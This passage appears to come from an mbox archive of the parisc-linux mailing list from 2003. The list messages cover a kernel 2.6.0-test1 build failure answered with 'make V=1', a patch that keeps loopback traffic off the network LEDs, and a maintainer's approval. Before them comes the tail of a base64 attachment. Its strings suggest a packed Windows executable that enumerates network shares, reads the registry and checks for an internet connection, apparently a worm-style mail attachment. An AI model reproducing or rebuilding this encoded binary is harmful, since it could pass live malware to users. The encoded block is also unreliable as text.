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
AAAAAAAAAAAAAAAAAAAAAAEAaQAAAKgAAIAAAAAAAAAAAAAAAAAAAAEACQQAAMAAAADs9AQAIgAA
AAAAAAAAAAAA0MAEACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AACAAACAAAAAgIAAgAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD/
//8AAAAAAAAAAAAAAAAAAAAAAAAId3d3d3d3d3d3d3BwAAAAj//////////////3BwAAAI//////
////////9wcAAACP8AAAD/////////cHAAAAj//////////////3BwAAAI/wAAAP////////9wcA
AACP//////////////cHAAAAj//////////////3BwAAAI/wAAAAAAAAAAAP9wcAAACP////////
//////cHAAAAj/AAAAAAAAAAAA/3BwAAAI//////////////9wcAAACP8AAAAAAAAAAAD/cHAAAA
j//////////////3BwAAAI/wAAAAAAAAAAAP9wcAAACP//////////////cHAAAAj///////////
///3BwAAAI/wAAAP////////9wcAAACP//////////////cHAAAAj//////////////3BwAAAI//
////////////9wcAAACP8AAAD/////////cHAAAAj//////////////3BwAAAI/wAAAP////DwAP
9wcAAACP//////////////cHAAAAj//////////////3BwAAAI//////////////9wcAAACPD/D/
D/D/D/D/D/gHAAAAjw/w/w/w/w/w/w/4BwAAAAj4j4j4j4j4j4j4j4AAAAAAAAAAAAAAAAAAAAAA
AADwAAAf4AAAD8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAA
B8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAH
wAAAB8AAAAfgAAAP8kkkv7jDBAAoAAAAEAAAACAAAAABAAQAAAAAAMAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A
/wD//wAA////AAAAAAAAAAAAh3d3d3d3AACP//////cAAI//////9wAAj/AAAA/3AACP//////cA
AI/wAAAP9wAAj//////3AACP8AAAD/cAAI//////9wAAj/AA8A/3AACP//////cAAI//////9wAA
jw8PDw8PAAAA+Pj4+PAAAAAAAAAAAAAAgA8AAAAHAAAABwAAAAcAAAAHAAAABwAAAAcAAAAHAAAA
BwAAAAcAAAAHAAAABwAAAAcAAAAHAACADwAA1V8AAODEBAAAAAEAAgAgIBAAAQAEAOgCAAABABAQ
EAABAAQAKAEAAAIAAAAAAAAAAAAAAAAAAADU9QQAnPUEAAAAAAAAAAAAAAAAAOH1BACs9QQAAAAA
AAAAAAAAAAAA7vUEALT1BAAAAAAAAAAAAAAAAAD29QQAvPUEAAAAAAAAAAAAAAAAAAH2BADE9QQA
AAAAAAAAAAAAAAAADfYEAMz1BAAAAAAAAAAAAAAAAAAAAAAAAAAAABj2BAAm9gQANvYEAAAAAABE
9gQAAAAAAFL2BAAAAAAAYvYEAAAAAABu9gQAAAAAADQAAIAAAAAAS0VSTkVMMzIuRExMAEFEVkFQ
STMyLmRsbABNUFIuZGxsAFVTRVIzMi5kbGwAV0lOSU5FVC5kbGwAV1MyXzMyLmRsbAAAAExvYWRM
aWJyYXJ5QQAAR2V0UHJvY0FkZHJlc3MAAEV4aXRQcm9jZXNzAAAAUmVnT3BlbktleUEAAABXTmV0
T3BlbkVudW1BAAAAd3NwcmludGZBAAAASW50ZXJuZXRHZXRDb25uZWN0ZWRTdGF0ZQAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
--#KCEEK70633#--


From - Thu Nov 08 21:28:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.6.0-test1-pa1 64bits failled to compile
Date: Sat, 19 Jul 2003 11:41:15 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <20030719094114.GC7452@lug-owl.de>
References: <3F0C24F800000FBF@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="TYecfFk8j8mZq+dy"
X-Trace: ger.gmane.org 1416622614 28348 80.91.229.3 (22 Nov 2014 02:16:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 19 03:41:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5E1BF482B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Jul 2003 03:41:16 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 3A8264A89C; Sat, 19 Jul 2003 11:41:15 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <3F0C24F800000FBF@ocpmta8.freegates.net>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18988

--TYecfFk8j8mZq+dy
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Wed, 2003-07-16 18:35:44 +0200, Joel Soete <jsoe0708@tiscali.be>
wrote in message <3F0C24F800000FBF@ocpmta8.freegates.net>:
> Hi all,
>=20
> This today cvs update failled to compile on my N4000-55 with this very sh=
ort
> message:
>=20
>   LD      init/built-in.o
>   LD      .tmp_vmlinux1
> make: *** [.tmp_vmlinux1] Error 139
> palx4000:/usr/src/linux-2.6.0-test1-pa1#=20
>=20
> Is there some tips to get more verbose make output?

$ make V=3D1 vmlinux modules

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--TYecfFk8j8mZq+dy
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQE/GRI6Hb1edYOZ4bsRAmtjAJ9hQ8PI9ME14LKdasTaefLFhgMa6QCgg91D
o+JywbyhRM3bmudNunWRArA=
=mw9G
-----END PGP SIGNATURE-----

--TYecfFk8j8mZq+dy--


From - Thu Nov 08 21:28:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-15?Q?R=FCdiger_Scholz?= <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Prevent loopback traffic to be shown on the network leds
Date: Sat, 19 Jul 2003 13:31:41 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <3F192C1D.2050701@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------080307050105090100090206"
X-Trace: ger.gmane.org 1416622614 28350 80.91.229.3 (22 Nov 2014 02:16:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 19 05:38:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver3.hrz.tu-darmstadt.de (mailserver3.hrz.tu-darmstadt.de [130.83.126.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id BF7BC482B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Jul 2003 05:38:14 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (IP-213157001009.dialin.heagmedianet.de [213.157.1.9])
	(authenticated bits=0)
	by mailserver3.hrz.tu-darmstadt.de (8.12.9/8.12.7) with ESMTP id h6JBc4bH000713
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Jul 2003 13:38:07 +0200
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4) Gecko/20030624
X-Accept-Language: de-de, de, en-us, en
X-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18989

This is a multi-part message in MIME format.
--------------080307050105090100090206
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 8bit

Hi,

looking at the Download page from the ESIEE-Team I found the following 
patch from Thibaut. It filters the traffic from/to the loopback device, 
so network led isn't blinking when accessing the loopback device. 
Should'nt it go into CVS?

Rdiger

--------------080307050105090100090206
Content-Type: text/plain;
 name="led.c-diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="led.c-diff"

Index: linux/arch/parisc/kernel/led.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/led.c,v
retrieving revision 1.28
diff -u -p -u -r1.28 led.c
--- linux/arch/parisc/kernel/led.c	29 Sep 2002 15:49:20 -0000	1.28
+++ linux/arch/parisc/kernel/led.c	17 Jan 2003 16:02:56 -0000
@@ -365,10 +365,12 @@ static void led_get_net_stats(int addval
 	 * for reading should be OK */
 	read_lock(&dev_base_lock);
 	for (dev = dev_base; dev != NULL; dev = dev->next) {
-	    if (dev->get_stats) { 
-	        stats = dev->get_stats(dev);
-		rx_total += stats->rx_packets;
-		tx_total += stats->tx_packets;
+	    if (!(dev->flags & IFF_LOOPBACK)) {
+		if (dev->get_stats) {
+		    stats = dev->get_stats(dev);
+		    rx_total += stats->rx_packets;
+		    tx_total += stats->tx_packets;
+		}
 	    }
 	}
 	read_unlock(&dev_base_lock);

--------------080307050105090100090206--



From - Thu Nov 08 21:28:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Prevent loopback traffic to be shown on the network leds
Date: Sat, 19 Jul 2003 13:42:16 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20030719124216.GC1485@parcelfarce.linux.theplanet.co.uk>
References: <3F192C1D.2050701@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622614 28352 80.91.229.3 (22 Nov 2014 02:16:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 19 06:42:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id EB49C482B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Jul 2003 06:42:19 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19dr2W-0003kF-A7; Sat, 19 Jul 2003 13:42:16 +0100
Content-Disposition: inline
In-Reply-To: <3F192C1D.2050701@hrzpub.tu-darmstadt.de>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18990

On Sat, Jul 19, 2003 at 01:31:41PM +0200, Rdiger Scholz wrote:
> Hi,
> 
> looking at the Download page from the ESIEE-Team I found the following 
> patch from Thibaut. It filters the traffic from/to the loopback device, 
> so network led isn't blinking when accessing the loopback device. 
> Should'nt it go into CVS?

Seems like a reasonable patch to me.  I'll ask Thibaut about it when
he gets here.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dara Hazeghi <dhazeghi@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] old gcc and gdb in cvs?
Date: Sat, 19 Jul 2003 10:07:19 -0700 (PDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <20030719170719.43626.qmail@web41112.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622614 28354 80.91.229.3 (22 Nov 2014 02:16:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 19 11:07:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web41112.mail.yahoo.com (web41112.mail.yahoo.com [66.218.93.28])
	by dsl2.external.hp.com (Postfix) with SMTP id AEC3C482B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Jul 2003 11:07:23 -0600 (MDT)
Original-Received: from [63.197.150.190] by web41112.mail.yahoo.com via HTTP; Sat, 19 Jul 2003 10:07:19 PDT
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
